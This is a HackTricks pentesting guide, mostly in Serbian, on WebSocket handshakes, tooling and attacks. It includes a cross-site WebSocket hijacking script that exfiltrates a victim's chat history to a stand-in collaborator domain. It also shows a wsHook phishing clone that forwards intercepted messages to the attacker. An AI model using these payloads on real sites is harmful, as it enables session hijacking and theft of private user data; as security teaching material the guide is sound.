hacktricks/pentesting-web/websocket-attacks.md

184 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebSocket Attacks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Šta su WebSocketi
WebSocket veze se uspostavljaju kroz inicijalni **HTTP** handshake i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka.
### Uspostavljanje WebSocket Veza
Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći [**ovde**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
`wss` протокол означава WebSocket везу заштићену **TLS**, док `ws` указује на **необезбеђену** везу.
Током успостављања везе, изводи се руковање између браузера и сервера преко HTTP. Процес руковања укључује слање захтева од стране браузера и одговор сервера, као што је илустровано у следећим примерима:
Браузер шаље захтев за руковање:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Odgovor serverovog rukovanja:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Konekcija ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.
**Ključne tačke WebSocket rukovanja:**
- `Connection` i `Upgrade` zaglavlja signaliziraju inicijaciju WebSocket rukovanja.
- `Sec-WebSocket-Version` zaglavlje označava željenu verziju WebSocket protokola, obično `13`.
- Base64-enkodirana nasumična vrednost se šalje u `Sec-WebSocket-Key` zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanjem proksija. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisane server ili keša.
- `Sec-WebSocket-Accept` zaglavlje u odgovoru servera je heš od `Sec-WebSocket-Key`, verifikujući nameru servera da otvori WebSocket konekciju.
Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
### Linux konzola
Možete koristiti `websocat` za uspostavljanje sirove konekcije sa websocket-om.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Ili da kreirate websocat server:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket veze
Ako otkrijete da su klijenti povezani na **HTTP websocket** iz vaše trenutne lokalne mreže, možete pokušati sa [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) da izvršite MitM napad između klijenta i servera.\
Kada klijent pokuša da se poveže, možete koristiti:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeracija
Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **da automatski otkrijete, identifikujete i pretražujete poznate** **ranjivosti** u websockets.
### Websocket Debug alati
* **Burp Suite** podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem **istorije**, postavljanjem **pravila za presretanje**, korišćenjem **pravila za usklađivanje i zamenu**, korišćenjem **Intruder** i **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **hvatanje, presretanje, slanje prilagođenih** poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
* [**wsrepl**](https://github.com/doyensec/wsrepl) je **interaktivni websocket REPL** dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje **dolaznih websocket poruka i slanje novih**, sa jednostavnim okvirom za **automatizaciju** ove komunikacije.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim webovima koristeći **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) između ostalih tipova komunikacija/protokola, pruža **web za komunikaciju** sa drugim webovima koristeći **websockets.**
## Websocket Lab
U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje web-a koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje.
## Cross-site WebSocket otmica (CSWSH)
**Cross-site WebSocket otmica**, takođe poznata kao **cross-origin WebSocket otmica**, identifikovana je kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih bezbednosnih mera.
Napadači mogu iskoristiti ovo tako što će hostovati **zloćudnu web stranicu** koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, koristeći nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.
### Jednostavan napad
Imajte na umu da kada **uspostavljate** **websocket** vezu, **kolačić** se **šalje** serveru. **Server** ga može koristiti da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom na osnovu poslatog kolačića**.
Zatim, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **dobije** istoriju **razgovora**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
U ovom blog postu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) napadač je uspeo da **izvrši proizvoljni Javascript u poddomeni** domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila **poddomena**, **cookie** je bio **poslat**, a pošto **Websocket nije pravilno proveravao Origin**, bilo je moguće komunicirati s njom i **ukrasti tokene iz nje**.
### Stealing data from user
Kopirajte web aplikaciju koju želite da imitirate (npr. .html fajlove) i unutar skripte gde se odvija websocket komunikacija dodajte ovaj kod:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Sada preuzmite `wsHook.js` datoteku sa [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **sačuvajte je unutar fascikle sa web datotekama**.\
Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:
```javascript
sudo python3 -m http.server 80
```
## Race Conditions
Race Conditions u WebSocket-ima su takođe stvar, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets).
## Other vulnerabilities
Pošto su Web Sockets mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.**
## **WebSocket Smuggling**
Ova ranjivost bi mogla omogućiti da **zaobiđete ograničenja obrnute proxy usluge** tako što će ih naterati da veruju da je **websocket komunikacija uspostavljena** (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da **pristupi skrivenim krajnjim tačkama**. Za više informacija proverite sledeću stranicu:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## References
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}